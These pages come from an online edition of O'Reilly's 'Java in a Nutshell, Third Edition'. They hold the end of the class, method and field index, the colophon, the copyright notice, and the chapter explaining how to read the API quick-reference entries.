setReadMethod() | PropertyDescriptor
setReadOnly() | File, PermissionCollection
setReceiveBufferSize() | DatagramSocket, Socket
setRequestMethod() | HttpURLConnection
setRequestProperty() | URLConnection
setScale() | BigDecimal
setSeconds() | Date
setSecurityManager() | System
setSeed() | Random, SecureRandom
setSendBufferSize() | DatagramSocket, Socket
setShort() | Array, Field
setShortDescription() | FeatureDescriptor
setShortMonths() | DateFormatSymbols
setShortWeekdays() | DateFormatSymbols
setSigners() | ClassLoader
setSize() | Vector, ZipEntry
setSocketFactory() | ServerSocket
setSocketImplFactory() | Socket
setSoLinger() | Socket
setSoTimeout() | DatagramSocket, ServerSocket, Socket
setStartRule() | SimpleTimeZone
setStartYear() | SimpleTimeZone
setStrategy() | Deflater
setStrength() | Collator
setSystemScope() | IdentityScope
setTcpNoDelay() | Socket
setText() | BreakIterator, CollationElementIterator, StringCharacterIterator
setTime() | Calendar, Date, ZipEntry
setTimeInMillis() | Calendar
setTimeToLive() | DatagramSocketImpl, MulticastSocket
setTimeZone() | Calendar, DateFormat
setTTL() | DatagramSocketImpl, MulticastSocket
setUnicast() | EventSetDescriptor
setURL() | URLStreamHandler
setURLStreamHandlerFactory() | URL
setUseCaches() | URLConnection
setValue() | Entry, FeatureDescriptor, PropertyEditor, PropertyEditorSupport
setWeekdays() | DateFormatSymbols
setWriteMethod() | PropertyDescriptor
setYear() | Date
setZeroDigit() | DecimalFormatSymbols
setZoneStrings() | DateFormatSymbols
shiftLeft() | BigInteger
shiftRight() | BigInteger
SHORT | DateFormat, TimeZone
Short | java.lang
ShortBufferException | javax.crypto
shortValue() | Byte, Double, Float, Integer, Iterator, Long, Number, Short
shuffle() | Collections
shutdownInput() | Socket, SocketImpl
shutdownOutput() | Socket, SocketImpl
SIGN | Signature
sign() | Signature
Signature | java.security
SIGNATURE_VERSION | Name
SignatureException | java.security
SignatureSpi | java.security
SignedObject | java.security
Signer | java.security
signum() | BigDecimal, BigInteger
SimpleBeanInfo | java.beans
SimpleDateFormat | java.text
SimpleTimeZone | java.util
SIMPLIFIED_CHINESE | Locale
sin() | Math, StrictMath
singleton() | Collections
singletonList() | Collections
singletonMap() | Collections
size() | AbstractCollection, AbstractMap, ArrayList, Attributes, BeanContextMembershipEvent, BeanContextSupport, BitSet, ByteArrayOutputStream, CharArrayWriter, Collection, DataOutputStream, Dictionary, HashMap, HashSet, Hashtable, IdentityScope, KeyStore, LinkedList, List, Map, Set, TreeMap, TreeSet, Vector, WeakHashMap, ZipFile
skip() | BufferedInputStream, BufferedReader, ByteArrayInputStream, CharArrayReader, CheckedInputStream, CipherInputStream, FileInputStream, FilterInputStream, FilterReader, InflaterInputStream, InputStream, LineNumberInputStream, LineNumberReader, ObjectInput, PushbackInputStream, Reader, StringBufferInputStream, StringReader, ZipInputStream
skipBytes() | DataInput, DataInputStream, ObjectInputStream, RandomAccessFile
slashSlashComments() | StreamTokenizer
slashStarComments() | StreamTokenizer
sleep() | Thread
SMALL_FORM_VARIANTS | UnicodeBlock
SO_BINDADDR | SocketOptions
SO_KEEPALIVE | SocketOptions
SO_LINGER | SocketOptions
SO_RCVBUF | SocketOptions
SO_REUSEADDR | SocketOptions
SO_SNDBUF | SocketOptions
SO_TIMEOUT | SocketOptions
Socket | java.net
SocketException | java.net
SocketImpl | java.net
SocketImplFactory | java.net
SocketOptions | java.net
SocketPermission | java.net
SoftReference | java.lang.ref
sort() | Arrays, Collections
SortedMap | java.util
SortedSet | java.util
source | EventObject
SPACE_SEPARATOR | Character
SPACING_MODIFIER_LETTERS | UnicodeBlock
SPECIALS | UnicodeBlock
SPECIFICATION_TITLE | Name
SPECIFICATION_VENDOR | Name
SPECIFICATION_VERSION | Name
sqrt() | Math, StrictMath
Stack | java.util
StackOverflowError | java.lang
start() | Thread
START_PUNCTUATION | Character
startsWith() | String
state | Signature
STATIC | Modifier
stop() | Thread, ThreadGroup
store() | KeyStore, Properties
STORED | ZipEntry, ZipOutputStream
STREAM_MAGIC | ObjectStreamConstants
STREAM_VERSION | ObjectStreamConstants
StreamCorruptedException | java.io
StreamTokenizer | java.io
STRICT | Modifier
StrictMath | java.lang
String | java.lang
StringBuffer | java.lang
StringBufferInputStream | java.io
StringCharacterIterator | java.text
StringIndexOutOfBoundsException | java.lang
StringReader | java.io
StringTokenizer | java.util
StringWriter | java.io
SUBCLASS_IMPLEMENTATION_PERMISSION | ObjectStreamConstants
subList() | AbstractList, List, Vector
subMap() | SortedMap, TreeMap
Subset | java.lang.Character
subSet() | SortedSet, TreeSet
SUBSTITUTION_PERMISSION | ObjectStreamConstants
substring() | String, StringBuffer
subtract() | BigDecimal, BigInteger
SUNDAY | Calendar
SUPERSCRIPTS_AND_SUBSCRIPTS | UnicodeBlock
supportsCustomEditor() | PropertyEditor, PropertyEditorSupport
SURROGATE | Character
SURROGATES_AREA | UnicodeBlock
suspend() | Thread, ThreadGroup
sval | StreamTokenizer
sync() | FileDescriptor
SyncFailedException | java.io
SYNCHRONIZED | Modifier
synchronizedCollection() | Collections
synchronizedList() | Collections
synchronizedMap() | Collections
synchronizedSet() | Collections
synchronizedSortedMap() | Collections
synchronizedSortedSet() | Collections
System | java.lang

T

tailMap() | SortedMap, TreeMap
tailSet() | SortedSet, TreeSet
TAIWAN | Locale
TAMIL | UnicodeBlock
tan() | Math, StrictMath
TC_ARRAY | ObjectStreamConstants
TC_BASE | ObjectStreamConstants
TC_BLOCKDATA | ObjectStreamConstants
TC_BLOCKDATALONG | ObjectStreamConstants
TC_CLASS | ObjectStreamConstants
TC_CLASSDESC | ObjectStreamConstants
TC_ENDBLOCKDATA | ObjectStreamConstants
TC_EXCEPTION | ObjectStreamConstants
TC_LONGSTRING | ObjectStreamConstants
TC_MAX | ObjectStreamConstants
TC_NULL | ObjectStreamConstants
TC_OBJECT | ObjectStreamConstants
TC_PROXYCLASSDESC | ObjectStreamConstants
TC_REFERENCE | ObjectStreamConstants
TC_RESET | ObjectStreamConstants
TC_STRING | ObjectStreamConstants
TCP_NODELAY | SocketOptions
TELUGU | UnicodeBlock
TERTIARY | Collator
tertiaryOrder() | CollationElementIterator
testBit() | BigInteger
THAI | UnicodeBlock
Thread | java.lang
ThreadDeath | java.lang
ThreadGroup | java.lang
ThreadLocal | java.lang
Throwable | java.lang
THURSDAY | Calendar
TIBETAN | UnicodeBlock
time | Calendar
Timer | java.util
TimerTask | java.util
TimeZone | java.util
TIMEZONE_FIELD | DateFormat
TITLECASE_LETTER | Character
toArray() | AbstractCollection, ArrayList, BeanContextMembershipEvent, BeanContextSupport, Collection, LinkedList, List, Set, Vector
toBigInteger() | BigDecimal
toBinaryString() | Integer, Long
toByteArray() | BigInteger, ByteArrayOutputStream, CollationKey
toCharArray() | CharArrayWriter, String
toDegrees() | Math, StrictMath
toExternalForm() | URL, URLStreamHandler
toGMTString() | Date
toHexString() | Integer, Long
toLocaleString() | Date
toLocalizedPattern() | DecimalFormat, SimpleDateFormat
toLowerCase() | Character, String
toOctalString() | Integer, Long
TooManyListenersException | java.util
toPattern() | ChoiceFormat, DecimalFormat, MessageFormat, SimpleDateFormat
toRadians() | Math, StrictMath
toString() | AbstractCollection, AbstractMap, Acl, AclEntry, AlgorithmParameters, Annotation, Attribute, BigDecimal, BigInteger, BitSet, Boolean, Byte, ByteArrayOutputStream, Calendar, Certificate, Character, CharArrayWriter, Class, CodeSource, Constructor, CRL, Date, DigestInputStream, DigestOutputStream, Double, EventObject, Field, FieldPosition, File, Float, Hashtable, Identity, IdentityScope, InetAddress, Integer, Locale, Long, MessageDigest, Method, Modifier, Name, Object, ObjectStreamClass, ObjectStreamField, Package, ParsePosition, Permission, PermissionCollection, Principal, PrivilegedActionException, ProtectionDomain, Provider, ServerSocket, Short, Signature, Signer, SimpleTimeZone, Socket, SocketImpl, StreamTokenizer, String, StringBuffer, StringWriter, Subset, Thread, ThreadGroup, Throwable, UnresolvedPermission, URL, URLConnection, Vector, X509CRLEntry, ZipEntry
totalMemory() | Runtime
toTitleCase() | Character
toUpperCase() | Character, String
toURL() | File
traceInstructions() | Runtime
traceMethodCalls() | Runtime
TRADITIONAL_CHINESE | Locale
TRANSIENT | Modifier
translateKey() | KeyFactory, SecretKeyFactory
TreeMap | java.util
TreeSet | java.util
trim() | String
trimToSize() | ArrayList, Vector
TRUE | Boolean
TT_EOF | StreamTokenizer
TT_EOL | StreamTokenizer
TT_NUMBER | StreamTokenizer
TT_WORD | StreamTokenizer
ttype | StreamTokenizer
TUESDAY | Calendar
TYPE | Boolean, Byte, Character, Double, Float, Integer, Long, Short, Void

U

UK | Locale
UNASSIGNED | Character
uncaughtException() | ThreadGroup
UNDECIMBER | Calendar
UndeclaredThrowableException | java.lang.reflect
UnicodeBlock | java.lang.Character
UNINITIALIZED | Signature
UnknownError | java.lang
UnknownHostException | java.net
UnknownServiceException | java.net
unmodifiableCollection() | Collections
unmodifiableList() | Collections
unmodifiableMap() | Collections
unmodifiableSet() | Collections
unmodifiableSortedMap() | Collections
unmodifiableSortedSet() | Collections
unread() | PushbackInputStream, PushbackReader
UnrecoverableKeyException | java.security
UnresolvedPermission | java.security
UnsatisfiedLinkError | java.lang
unscaledValue() | BigDecimal
UnsupportedClassVersionError | java.lang
UnsupportedEncodingException | java.io
UnsupportedOperationException | java.lang
update() | Adler32, Checksum, Cipher, CRC32, Mac, MessageDigest, Observer, Signature
UPPERCASE_LETTER | Character
url | URLConnection
URL | java.net
URLClassLoader | java.net
URLConnection | java.net
URLDecoder | java.net
URLEncoder | java.net
URLStreamHandler | java.net
URLStreamHandlerFactory | java.net
US | Locale
USE_ALL_BEANINFO | Introspector
useCaches | URLConnection
useDaylightTime() | SimpleTimeZone, TimeZone
useProtocolVersion() | ObjectOutputStream
usingProxy() | HttpURLConnection
UTC() | Date
UTFDataFormatException | java.io

V

valid() | FileDescriptor
validateObject() | ObjectInputValidation
validatePendingAdd() | BeanContextSupport
validatePendingRemove() | BeanContextSupport
validatePendingSetBeanContext() | BeanContextChildSupport
valueOf() | BigDecimal, BigInteger, Boolean, Byte, Double, Float, Integer, Long, Short, String
values() | AbstractMap, Attributes, HashMap, Hashtable, Map, Provider, TreeMap
vcSupport | BeanContextChildSupport
Vector | java.util
VERIFY | Signature
verify() | Certificate, Signature, SignedObject, X509CRL
VerifyError | java.lang
vetoableChange() | BeanContextSupport, VetoableChangeListener
VetoableChangeListener | java.beans
VetoableChangeSupport | java.beans
VirtualMachineError | java.lang
Visibility | java.beans
Void | java.lang
VOLATILE | Modifier

W

wait() | Object
waitFor() | Process
WeakHashMap | java.util
WeakReference | java.lang.ref
WEDNESDAY | Calendar
WEEK_OF_MONTH | Calendar
WEEK_OF_MONTH_FIELD | DateFormat
WEEK_OF_YEAR | Calendar
WEEK_OF_YEAR_FIELD | DateFormat
whitespaceChars() | StreamTokenizer
wordChars() | StreamTokenizer
write() | BufferedOutputStream, BufferedWriter, ByteArrayOutputStream, CharArrayWriter, CheckedOutputStream, CipherOutputStream, DataOutput, DataOutputStream, DeflaterOutputStream, DigestOutputStream, FileOutputStream, FilterOutputStream, FilterWriter, GZIPOutputStream, Manifest, ObjectOutput, ObjectOutputStream, OutputStream, OutputStreamWriter, PipedOutputStream, PipedWriter, PrintStream, PrintWriter, PutField, RandomAccessFile, StringWriter, Writer, ZipOutputStream
WriteAbortedException | java.io
writeBoolean() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeByte() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeBytes() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeChar() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeChars() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeChildren() | BeanContextSupport
writeClassDescriptor() | ObjectOutputStream
writeDouble() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeExternal() | Externalizable
writeFields() | ObjectOutputStream
writeFloat() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeInt() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeLong() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeObject() | ObjectOutput, ObjectOutputStream
writeObjectOverride() | ObjectOutputStream
Writer | java.io
writeReplace() | Certificate
writeShort() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
writeStreamHeader() | ObjectOutputStream
writeTo() | ByteArrayOutputStream, CharArrayWriter
writeUTF() | DataOutput, DataOutputStream, ObjectOutputStream, RandomAccessFile
written | DataOutputStream

X

X509Certificate | java.security.cert
X509CRL | java.security.cert
X509CRLEntry | java.security.cert
X509EncodedKeySpec | java.security.spec
X509Extension | java.security.cert
xor() | BigInteger, BitSet

Y

YEAR | Calendar
YEAR_FIELD | DateFormat
yield() | Thread

Z

ZERO | BigInteger
ZipEntry | java.util.zip
ZipException | java.util.zip
ZipFile | java.util.zip
ZipInputStream | java.util.zip
ZipOutputStream | java.util.zip
ZONE_OFFSET | Calendar
Previous | Home
28.1. The javax.crypto.spec Package | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Java in a Nutshell)

 Java™ in a Nutshell: A Deskop Quick Reference Search this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animal appearing on the cover of Java in a Nutshell, Third Edition, is a Javan tiger. It is the smallest of the eight subspecies of tiger, and has the longest cheek whiskers, forming a short mane across the neck. The encroachment of the growing human population, along with increases in poaching, led to the near-extinction of the Javan tiger. The Indonesian government has become involved in trying to preserve the tiger. It is to be hoped that the remaining subspecies of tiger will be helped by increasing awareness and stricter protections.

Tigers are the largest of all cats, weighing up to 660 pounds and with a body length of up to 9 feet. They are solitary animals, and, unlike lions, hunt alone. Tigers prefer large prey, such as wild pigs, cattle, or deer. Tigers rarely attack humans, although attacks on humans have increased as the increasing human population more frequently comes into contact with tigers. Tiger attacks usually occur when the tiger feels that it or its young are being threatened. In such cases, the tiger almost never eats its human victim. There are some tigers, however, who have developed a taste for human flesh. This is a particularly bad problem in an area of India and Bangladesh called the Sunderbans.

Mary Anne Weeks Mayo was the production editor and copyeditor for Java in a Nutshell, Third Edition; Ellie Cutler, Maureen Dempsey, and Jane Ellin provided quality control, and Ellie Fountain Maden proofread the book. Anna Kim Snow provided production assistance. Lenny Muellner and Chris Maden provided SGML support. Ellen Troutman Zaig and Brenda Miller wrote the index.

Edie Freedman designed the cover of this book, using a 19th-century engraving from the Dover Pictorial Archive.

Kathleen Wilson produced the cover layout with Quark XPress 3.3 using Adobe's ITC Garamond font. The interior layouts were designed by Edie Freedman and Nancy Priest, with modifications by Alicia Cech, and Lenny Muellner implemented the layout in gtroff. Interior fonts are Adobe ITC Garamond and Adobe ITC Franklin Gothic. The illustrations that appear in the book were produced by Robert Romano and Rhon Porter using Macromedia FreeHand 8 and Adobe Photoshop 5. This colophon was written by Clairemarie Fisher O'Leary.

Previous | Home
Index | Book Index

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


O'Reilly Copyright Statement (Java in a Nutshell)

 Java™ in a Nutshell: A Deskop Quick Reference Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Java™ in a Nutshell, Third Edition
by David Flanagan
ISBN 1-56592-487-8E

Print book published 1999, 1997, 1996 by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

Java™ and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the Gabriel® Original Tinkertoy® Construction Set image in association with Java™ Distributed Computing is a trademark of O'Reilly & Associates, Inc.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Previous | Home | Next
Book Home | Book Index | 0.1. Preface

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


How To Use This Quick Reference (Java in a Nutshell)

 Java in a Nutshell Search this book

How To Use This Quick Reference

Contents:

Finding a Quick-Reference Entry
Reading a Quick-Reference Entry

The quick-reference section that follows packs a lot of information into a small space. This introduction explains how to get the most out of that information. It describes how the quick reference is organized and how to read the individual quick-ref entries.

1. Finding a Quick-Reference Entry

The quick reference is organized into chapters, one per package. Each chapter begins with an overview of the package and includes a hierarchy diagram for the classes and interfaces in the package. Following this overview are quick-reference entries for all of the classes and interfaces in the package.

Entries are organized alphabetically by class and package name, so that related classes are grouped near each other. Thus, in order to look up a quick reference entry for a particular class, you must also know the name of the package that contains that class. Usually, the package name is obvious from the context, and you should have no trouble looking up the quick-reference entry you want. Use the tabs on the outside edge of the book and the dictionary-style headers on the upper outside corner of each page to help you find the package and class you are looking for.

Occasionally, you may need to look up a class for which you do not already know the package. In this case, refer to Chapter 29, "Class, Method, and Field Index". This index allows you to look up a class by class name and find out what package it is part of.

Previous | Home | Next
Part 2. API Quick Reference | Book Index | 2. Reading a Quick-Reference Entry
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Reading a Quick-Reference Entry (Java in a Nutshell)

 Java in a Nutshell Search this book

2. Reading a Quick-Reference Entry

Each quick-reference entry contains quite a bit of information. The sections that follow describe the structure of a quick-reference entry, explaining what information is available, where it is found, and what it means. While reading the descriptions that follow, you will find it helpful to flip through the reference section itself to find examples of the features being described.

2.1. Class Name, Package Name, Availability, and Flags

Each quick-reference entry begins with a four-part title that specifies the name, package, and availability of the class, and may also specify various additional flags that describe the class. The class name appears in bold at the upper left of the title. The package name appears, in smaller print, in the lower left, below the class name.

The upper-right portion of the title indicates the availability of the class; it specifies the earliest release that contained the class. If a class was introduced in Java 1.1, for example, this portion of the title reads "Java 1.1". If a class was introduced in Version 1.2 of the Java 2 platform, the availability reads "Java 1.2"x for simplicity's sake. The availability section of the title is also used to indicate whether a class has been deprecated, and, if so, in what release. For example, it might read "Java 1.1; Deprecated in Java 1.2".

In the lower-right corner of the title you may find a list of flags that describe the class. The possible flags and their meanings are as follows:

checked

The class is a checked exception, which means that it extends java.lang.Exception, but not java.lang.RuntimeException. In other words, it must be declared in the throws clause of any method that may throw it.

cloneable

The class, or a superclass, implements java.lang.Cloneable.

collection

The class, or a superclass, implements java.util.Collection or java.util.Map.

comparable

The class, or a superclass, implements java.lang.Comparable.

error

The class extends java.lang.Error.

event

The class extends java.util.EventObject.

event adapter

The class, or a superclass, implements java.util.EventListener, and the class name ends with "Adapter".

event listener

The class, or a superclass, implements java.util.EventListener.

PJ1.1

The class or interface is part of the Personal Java 1.1 platform.

PJ1.1(mod)

The class or interface is supported, in modified form, by the Personal Java 1.1 platform.

PJ1.1(opt)

The class or interface is an optional part of the Personal Java 1.1 platform. Support for the class is implementation-dependent.

runnable

The class, or a superclass, implements java.lang.Runnable.

serializable

The class, or a superclass, implements java.io.Serializable and may be serialized.

unchecked

The class is an unchecked exception, which means it extends java.lang.RuntimeException and therefore does not need to be declared in the throws clause of a method that may throw it.

2.2. Description

The title of each quick-reference entry is followed by a short description of the most important features of the class or interface. This description may be anywhere from a couple of sentences to several paragraphs long.

2.3. Synopsis

The most important part of every quick-reference entry is the class synopsis, which follows the title and description. The synopsis for a class looks a lot like the source code for the class, except that the method bodies are omitted and some additional annotations are added. If you know Java syntax, you know how to read the class synopsis.

The first line of the synopsis contains information about the class itself. It begins with a list of class modifiers, such as public, abstract, and final. These modifiers are followed by the class or interface keyword and then by the name of the class. The class name may be followed by an extends clause that specifies the superclass and an implements clause that specifies any interfaces the class implements.

The class definition line is followed by a list of the fields and methods that the class defines. Once again, if you understand basic Java syntax, you should have no trouble making sense of these lines. The listing for each member includes the modifiers, type, and name of the member. For methods, the synopsis also includes the type and name of each method parameter and an optional throws clause that lists the exceptions the method can throw. The member names are in boldface, so it is easy to scan the list of members looking for the one you want. The names of method parameters are in italics to indicate that they are not to be used literally. The member listings are printed on alternating gray and white backgrounds to keep them visually separate.

2.3.1. Member availability and flags

Each member listing is a single line that defines the API for that member. These listings use Java syntax, so their meaning is immediately clear to any Java programmer. There is some auxiliary information associated with each member synopsis, however, that requires explanation.

Recall that each quick-reference entry begins with a title section that includes the release in which the class was first defined. When a member is introduced into a class after the initial release of the class, the version in which the member was introduced appears, in small print, to the left of the member synopsis. For example, if a class was first introduced in Java 1.1, but had a new method added in Version 1.2 of Java 2, the title contains the string "Java 1.1", and the listing for the new member is preceded by the number "1.2". Furthermore, if a member has been deprecated, that fact is indicated with a hash mark (#) to the left of the member synopsis.

The area to the right of the member synopsis is used to display a variety of flags that provide additional information about the member. Some of these flags indicate additional specification details that do not appear in the member API itself. Other flags contain implementation-specific information. This information can be quite useful in understanding the class and in debugging your code, but be aware that it may differ between implementations. The implementation-specific flags displayed in this book are based on Sun's implementation of Java for Microsoft Windows.

The following flags may be displayed to the right of a member synopsis:

native

An implementation-specific flag that indicates that a method is implemented in native code. Although native is a Java keyword and can appear in method signatures, it is part of the method implementation, not part of its specification. Therefore, this information is included with the member flags, rather than as part of the member listing. This flag is useful as a hint about the expected performance of a method.

synchronized

An implementation-specific flag that indicates that a method implementation is declared synchronized, meaning that it obtains a lock on the object or class before executing. Like the native keyword, the synchronized keyword is part of the method implementation, not part of the specification, so it appears as a flag, not in the method synopsis itself. This flag is a useful hint that the method is probably implemented in a thread-safe manner.

Whether or not a method is thread-safe is part of the method specification, and this information should appear (although it often does not) in the method documentation. There are a number of different ways to make a method thread-safe, however, and declaring the method with the synchronized keyword is only one possible implementation. In other words, a method that does not bear the synchronized flag can still be thread-safe.

Overrides:

Indicates that a method overrides a method in one of its superclasses. The flag is followed by the name of the superclass that the method overrides. This is a specification detail, not an implementation detail. As we'll see in the next section, overriding methods are usually grouped together in their own section of the class synopsis. The Overrides: flag is only used when an overriding method is not grouped in that way.

Implements:

Indicates that a method implements a method in an interface. The flag is followed by the name of the interface that is implemented. This is a specification detail, not an implementation detail. As we'll see in the next section, methods that implement an interface are usually grouped into a special section of the class synopsis. The Implements: flag is only used for methods that are not grouped in this way.

empty

Indicates that the implementation of the method has an empty body. This can be a hint to the programmer that the method may need to be overridden in a subclass.

constant

An implementation flag that indicates that a method has a trivial implementation. Only methods with a void return type can be truly empty. Any method declared to return a value must have at least a return statement. The "constant" flag indicates that the method implementation is empty except for a return statement that returns a constant value. Such a method might have a body like return null; or return false;. Like the "empty" flag, this flag indicates that a method may need to be overridden.

default:

This flag is used with property accessor methods that read the value of a property (i.e., methods whose names begins with "get" and take no arguments). The flag is followed by the default value of the property. Strictly speaking, default property values are a specification detail. In practice, however, these defaults are not always documented, and care should be taken, because the default values may change between implementations.

Not all property accessors have a "default:" flag. A default value is determined by dynamically loading the class in question, instantiating it using a no-argument constructor, and then calling the method to find out what it returns. This technique can be used only on classes that can be dynamically loaded and instantiated and that have no-argument constructors, so default values are shown for those classes only. Furthermore, note that when a class is instantiated using a different constructor, the default values for its properties may be different.

=

For static final fields, this flag is followed by the constant value of the field. Only constants of primitive and String types and constants with the value null are displayed. Some constant values are specification details, while others are implementation details. The reason that symbolic constants are defined, however, is so you can write code that does not rely directly upon the constant value. Use this flag to help you understand the class, but do not rely upon the constant values in your own programs.

2.3.2. Functional grouping of members

Within a class synopsis, the members are not listed in strict alphabetical order. Instead, they are broken down into functional groups and listed alphabetically within each group. Constructors, methods, fields, and inner classes are all listed separately. Instance methods are kept separate from static (class) methods. Constants are separated from non-constant fields. Public members are listed separately from protected members. Grouping members by category breaks a class down into smaller, more comprehensible segments, making the class easier to understand. This grouping also makes it easier for you to find a desired member.

Functional groups are separated from each other in a class synopsis with Java comments, such as "// Public Constructors", "// Inner Classes", and "// Methods Implementing Servlet". The various functional categories are as follows (in the order in which they appear in a class synopsis):

Constructors

Displays the constructors for the class. Public constructors and protected constructors are displayed separately in subgroupings. If a class defines no constructor at all, the Java compiler adds a default no-argument constructor that is displayed here. If a class defines only private constructors, it cannot be instantiated, so a special, empty grouping entitled "No Constructor" indicates this fact. Constructors are listed first because the first thing you do with most classes is instantiate them by calling a constructor.

Constants

Displays all of the constants (i.e., fields that are declared static and final) defined by the class. Public and protected constants are displayed in separate subgroups. Constants are listed here, near the top of the class synopsis, because constant values are often used throughout the class as legal values for method parameters and return values.

Inner Classes

Groups all of the inner classes and interfaces defined by the class or interface. For each inner class, there is a single-line synopsis. Each inner class also has its own quick-reference entry that includes a full class synopsis for the inner class. Like constants, inner classes are listed near the top of the class synopsis because they are often used by a number of other members of the class.

Static Methods

Lists the static methods (class methods) of the class, broken down into subgroups for public static methods and protected static methods.

Event Listener Registration Methods

Lists the public instance methods that register and deregister event listener objects with the class. The names of these methods begin with the words "add" and "remove" and end in "Listener". These methods are always passed a java.util.EventListener object. The methods are typically defined in pairs, so the pairs are listed together. The methods are listed alphabetically by event name rather than by method name.

Property Accessor Methods

Lists the public instance methods that set or query the value of a property or attribute of the class. The names of these methods begin with the words "set", "get", and "is", and their signatures follow the patterns set out in the JavaBeans specification. Although the naming conventions and method signature patterns are defined for JavaBeans, classes and interfaces throughout the Java platform define property accessor methods that follow these conventions and patterns. Looking at a class in terms of the properties it defines can be a powerful tool for understanding the class, so property methods are grouped together in this section. Property accessor methods are listed alphabetically by property name, not by method name. This means that the "set", "get", and "is" methods for a property all appear together.

Public Instance Methods

Contains all of the public instance methods that are not grouped elsewhere.

Implementing Methods

Groups the methods that implement the same interface. There is one subgroup for each interface implemented by the class. Methods that are defined by the same interface are almost always related to each other, so this is a useful functional grouping of methods.

Note that if an interface method is also an event registration method or a property accessor method, it is listed both in this group and in the event or property group. This situation does not arise often, but when it does, all of the functional groupings are important and useful enough to warrant the duplicate listing. When an interface method is listed in the event or property group, it displays an "Implements:" flag that specifies the name of the interface of which it is part.

Overriding Methods

Groups the methods that override methods of a superclass broken down into subgroups by superclass. This is typically a useful grouping, because it helps to make it clear how a class modifies the default behavior of its superclasses. In practice, it is also often true that methods that override the same superclass are functionally related to each other.

Sometimes a method that overrides a superclass is also a property accessor method or (more rarely) an event registration method. When this happens, the method is grouped with the property or event methods and displays a flag that indicates which superclass it overrides. The method is not listed with other overriding methods, however. Note that this is different from interface methods, which, because they are more strongly functionally related, may have duplicate listings in both groups.

Protected Instance Methods

Contains all of the protected instance methods that are not grouped elsewhere.

Fields

Lists all the non-constant fields of the class, breaking them down into subgroups for public and protected static fields and public and protected instance fields. Many classes do not define any publicly accessible fields. For those that do, many object-oriented programmers prefer not to use those fields directly, but instead to use accessor methods when such methods are available.

Deprecated Members

Deprecated methods and deprecated fields are grouped at the very bottom of the class synopsis. Use of these members is strongly discouraged.

2.4. Class Hierarchy

For any class or interface that has a non-trivial class hierarchy, the class synopsis is followed by a "Hierarchy" section. This section lists all of the superclasses of the class, as well as any interfaces implemented by those superclasses. It may also list any interfaces extended by an interface. In the hierarchy listing, arrows indicate superclass to subclass relationships, while the interfaces implemented by a class follow the class name in parentheses. For example, the following hierarchy indicates that java.io.DataOutputStream implements DataOutput and extends FilterOutputStream, which itself extends OutputStream, which extends Object:

Object-->OutputStream-->FilterOutputStream-->DataOutputStream(DataOutput)

If a class has subclasses, the "Hierarchy" section is followed by a "Subclasses" section that lists those subclasses. If an interface has implementations, the "Hierarchy" section is followed by an "Implementations" section that lists those implementations. While the "Hierarchy" section shows ancestors of the class, the "Subclasses" or "Implementations" section shows descendants.

2.5. Cross References

The class hierarchy section of a quick-reference entry is followed by a number of optional "cross reference" sections that indicate other, related classes and methods that may be of interest. These sections are the following:

Passed To

This section lists all of the methods and constructors that are passed an object of this type as an argument. This is useful when you have an object of a given type and want to figure out what you can do with it.

Returned By

This section lists all of the methods (but not constructors) that return an object of this type. This is useful when you know that you want to work with an object of this type, but don't know how to obtain one.

Thrown By

For checked exception classes, this section lists all of the methods and constructors that throw exceptions of this type. This material helps you figure out when a given exception or error may be thrown. Note, however, that this section is based on the exception types listed in the throws clauses of methods and constructors. Subclasses of RuntimeException and Error do not have to be listed in throws clauses, so it is not possible to generate a complete cross reference of methods that throw these types of unchecked exceptions.

Type Of

This section lists all of the fields and constants that are of this type, which can help you figure out how to obtain an object of this type.

2.6. A Note About Class Names

Throughout the quick reference, you'll notice that classes are sometimes referred to by class name alone and at other times referred to by class name and package name. If package names were always used, the class synopses would become long and hard to read. On the other hand, if package names were never used, it would sometimes be difficult to know what class was being referred to. The rules for including or omitting the package name are complex. They can be summarized approximately as follows, however:

  • If the class name alone is ambiguous, the package name is always used.

  • If the class is part of the java.lang package or is a very commonly used class like java.io.Serializable, the package name is omitted.

  • If the class being referred to is part of the current package (and has a quick-reference entry in the current chapter), the package name is omitted. The package name is also omitted if the class being referred to is part of a package that contains the current package.

Previous | Home | Next
1. Finding a Quick-Reference Entry | Book Index | 9. The java.beans Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Deskop Quick Reference (Java in a Nutshell: Java™ in a Nutshell)

by David Flanagan
ISBN 1-56592-487-8E
Third edition, published November 1999.
(See the catalog page for this book.)

